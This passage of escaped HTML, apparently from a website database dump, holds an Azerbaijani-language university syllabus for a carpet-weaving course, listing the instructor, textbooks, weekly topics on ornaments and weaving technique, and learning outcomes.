haçalı, qanadlı, butalı və.s)</p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Sadə və mürəkkəb biçəklər. Xalçanın əsasının (ərişin) çəkilməsi prosesi.</li><li style=\"margin:0px;padding:0px;list-style:decimal\">Ornament. Xətai ornamenti, sadə və mürəkkəb quruluşlu</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">kompozisiyalar, kətəbə.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Texnoloğiya.</p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Ornament. Ğöl, bulud, su ornamenti Sadədən mürəkkəbə keçidi.</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Texnoloğiya.</p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Keçilmiş ornamentlərdən ibarət kompozisiyaların hazırlanması.</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Kompozisiyaların istehsalat ölçülərinin izahı,</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Çeşni hazırlığı.</p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Aralıq imtahanı.</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong><strong>&nbsp;</strong></p><p class=\"11\" style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Fənnin tədrisinin nəticələri</strong><strong>&nbsp;</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Ümumi tədris prosesi</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Tələbələrə xalça sənətinin tarixi və yaranması, inkişaf mərhələləri haqqında məlumat veriləcək.</li><li style=\"margin:0px;padding:0px;list-style:decimal\">Tələbələrə xalçaçılıqın əsası olan ornament sənəti, xəttatlıq, miniatüra, rəngkarlıq, xalça quruluşu haqqında məlumat və təcrübə dərsləri keçiriləcək.</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tələbələrə&nbsp; xalçaçılıqın texnikası, (xovsuz və xovlu xalçaların toxunuşu, ərişin &nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; çəkilməsi) dəzgah,alətlər, istehsalata hazırlıq işləri (çeşninin uyğun ölçüdə &nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hazırlanması) tədris ediləcək.<strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Qazanılmış təcrübə</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp; &nbsp; Azərbaycan xalçasının tarixən keçdiyi inkişaf yolunun mərhələlərlə təhlili və dünya mədəniyyəti xəzinəsinə verdiyi töhfələrin yeri və qiymətləndirilməsi.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Tədris metodları</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Prosesdə aşağıdakılar nəzərdə tutulur</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Mühazirələr və təcrübə dərsləri</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">İstehsalat&nbsp; və layihə prosesinə baxış, mühazirələr haqqında &nbsp;müzakirələr.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Təcrübə&nbsp;&nbsp;&nbsp; dərslərini münasib muzey və xalça sexlərində təkmilləşdirmək.</p></div><br></div>'),(1239,763,'az','Sillabuslar ','Sillabuslar ','<div><br></div><div> <div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>X</strong><strong>ƏZƏR UNİVERSİTETİ</strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>HUMANİTAR VƏ SOSİAL ELMLƏR DEPARTAMAENTİ</strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>MUSİQİ VƏ DEKORATİV TƏTBİQİ İNCƏSƏNƏT</strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>XALÇAÇI&nbsp;&nbsp; RƏSSAM</strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>İXTİSASI ÜZRƏ</strong></p><p style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:center;background-color:#ffffff\"><strong>TƏDRİS PROQRAMI</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>MÜƏLLİM HAQQINDA QISA MƏLUMAT</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Fənn:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Xalçaçılıq</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Müəllim:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Afaq Kərimova</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">iş otağı:</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Telefon:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 598-38-81. Mob.050-671 -40-17</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">E-mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"mailto:a.afaq_kerimova@mail.ru\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">a.afaq_kerimova@mail.ru</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"text-decoration:underline\">&nbsp;</span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Əsas dərsliklər</strong></span><strong>&nbsp;</strong></p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">L.Kərimov-Azərbaycan xalçası I</li><li style=\"margin:0px;padding:0px;list-style:decimal\">L.Kərimov-Azərbaycan xalçası II</li><li style=\"margin:0px;padding:0px;list-style:decimal\">L.Kərimov-Azərbaycan xalcası III</li><li style=\"margin:0px;padding:0px;list-style:decimal\">Anaxanım Əliyeva- Azərbaycan xovlu xalçaları XIX-XX əsr</li><li style=\"margin:0px;padding:0px;list-style:decimal\">Rasim Əfəndi-Azərbaycan dekorativ-tətbiqi sənətləri. 1976</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Proqram haqqında</strong><strong>&nbsp;</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>&nbsp;</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Xalçaçılıq Azərbaycan xalq tətbiqi sənətinin ən qədim və ən geniş yayılmış növüdür.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Hazırda yüzlərlə ornamental, süjetli xalı və xalça dünyanın böyük muzeylərində, kolleksionerlərdə yaşamaqda və mənsub olduğu xalqın milli ləyaqətini yaşatmaqdadır.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Bu proqramda məqsəd tələbələri xalçaçılıq sənətinin keçmişi və bu günü ilə tanış etmək, xovsuz və xovlu xalçaların texnoloji və bədii cəhətlərini<sub>,&nbsp;</sub>fərdi kompozisiyaları tədris etmək, Azərbaycan xalçalarının tipləri və qrupları üzrə bölünən xalçalarla tanış etməkdir.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Tələbələr milli ornament və kompozisiyaları mənimsə-yərək, d.t.sənətinin müxtəlif sahələrində çalışa biləcəklər.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Fənnin tədrisi</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>II semestr 2015</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Mövzular</strong></p><table cellspacing=\"0\" cellpadding=\"0\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;border:1px solid #000\"><tbody><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">saat</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Giriş Xalçanın yaranışı və tarixi haqqında məlumat</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dəzğah, alətlər, əriş, arğac.yun, ipək və çeşni</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ilə tanışlıq</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Həndəsi və nəbati ornamentlər haqqında məlumat</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">3.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Sadə və mürəkkəb butalar.</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Texnoloğiya (toxuculuq dərsi)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Ornament tədrisi</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sadə islimi, mürəkkəb islimilər ( haçalı, qanadlı, butalı və.s)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">5.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;Sadə və mürəkkəb biçəklər.&nbsp; Xalçanin əsasınin (ərişin) çəkilməsi prosesi.</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">6.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Ornament. Xətai ornamenti, sadə və mürəkkəb quruluşlu</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; kompozisiyalar, kətəbə.</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Texnoloğiya</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">7.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Ornament. Ğöl, bulud, su ornamenti Sadədən mürəkkəbə keçidi.</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Texnoloğiya</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">8.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Keçilmiş orn.lərdən ibarət kompozisiyaların hazırlanması.</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Kompozisiyaların istehsalat ölçülərinin izahı,</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Çeşni hazırlığı.</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">9.</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Aralıq imtahanı</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">10</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Xovsuz və xovlu xalçalar, xalçanın tipləri və qrupları haqqında məlumat</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">11</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Tədris edilmiş ornamenilərdən ibarət klassik kompozisiyalar hazırlamaq, Texnologiya-(toxuculuq dərsi)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">12</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;Kompozisiya (ləçək-türünc)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">13</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">_________________&nbsp;&nbsp; (islimi- bəndlik)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">14</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">_________________&nbsp;&nbsp;&nbsp;&nbsp; (əfşan)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">15</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">_________________&nbsp;&nbsp; (ağaclı, butalı)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">16</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">_________________&nbsp; (adda-budda)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td width=\"64\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">17</p></td><td width=\"586\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">_________________ (xətai)</p></td><td width=\"66\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">4</p></td></tr><tr><td colspan=\"3\" width=\"716\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>Yekun imtahanı (layihə və texnologiya nümunələrinə baxış)</strong></p></td></tr></tbody></table><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Fənnin tədrisi</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Ğiriş - Xalçanın yaranışı və tarixi haqqında məlumat</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Dəzğah, alətlər, əriş, arğac.yun, ipək və çeşni ilə tanışlıq.</p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Həndəsi və nəbati ornamentlər haqqında məlumat.</li><li style=\"margin:0px;padding:0px;list-style:decimal\">Sadə və mürəkkəb butalar.</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Texnoloğiya (toxuculuq dərsi)</p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Ornament tədrisi.</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Sadə islimi, mürəkkəb islimilər ( haçalı, qanadlı, butalı və.s)</p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Sadə və mürəkkəb biçəklər. Xalçanın əsasının (ərişin) çəkilməsi prosesi.</li><li style=\"margin:0px;padding:0px;list-style:decimal\">Ornament. Xətai ornamenti, sadə və mürəkkəb quruluşlu</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">kompozisiyalar, kətəbə.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Texnoloğiya.</p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Ornament. Ğöl, bulud, su ornamenti Sadədən mürəkkəbə keçidi.</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Texnoloğiya.</p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Keçilmiş ornamentlərdən ibarət kompozisiyaların hazırlanması.</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Kompozisiyaların istehsalat ölçülərinin izahı,</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Çeşni hazırlığı.</p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Aralıq imtahanı.</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong><strong>&nbsp;</strong></p><p class=\"11\" style=\"margin:0px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Fənnin tədrisinin nəticələri</strong><strong>&nbsp;</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Ümumi tədris prosesi</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><ol style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:decimal\">Tələbələrə xalça sənətinin tarixi və yaranması, inkişaf mərhələləri haqqında məlumat veriləcək.</li><li style=\"margin:0px;padding:0px;list-style:decimal\">Tələbələrə xalçaçılıqın əsası olan ornament sənəti, xəttatlıq, miniatüra, rəngkarlıq, xalça quruluşu haqqında məlumat və təcrübə dərsləri keçiriləcək.</li></ol><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tələbələrə&nbsp; xalçaçılıqın texnikası, (xovsuz və xovlu xalçaların toxunuşu, ərişin &nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; çəkilməsi) dəzgah,alətlər, istehsalata hazırlıq işləri (çeşninin uyğun ölçüdə &nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hazırlanması) tədris ediləcək.<strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#800000\"><strong>Qazanılmış təcrübə</strong></span></p><p style=\"margin:0px 0px 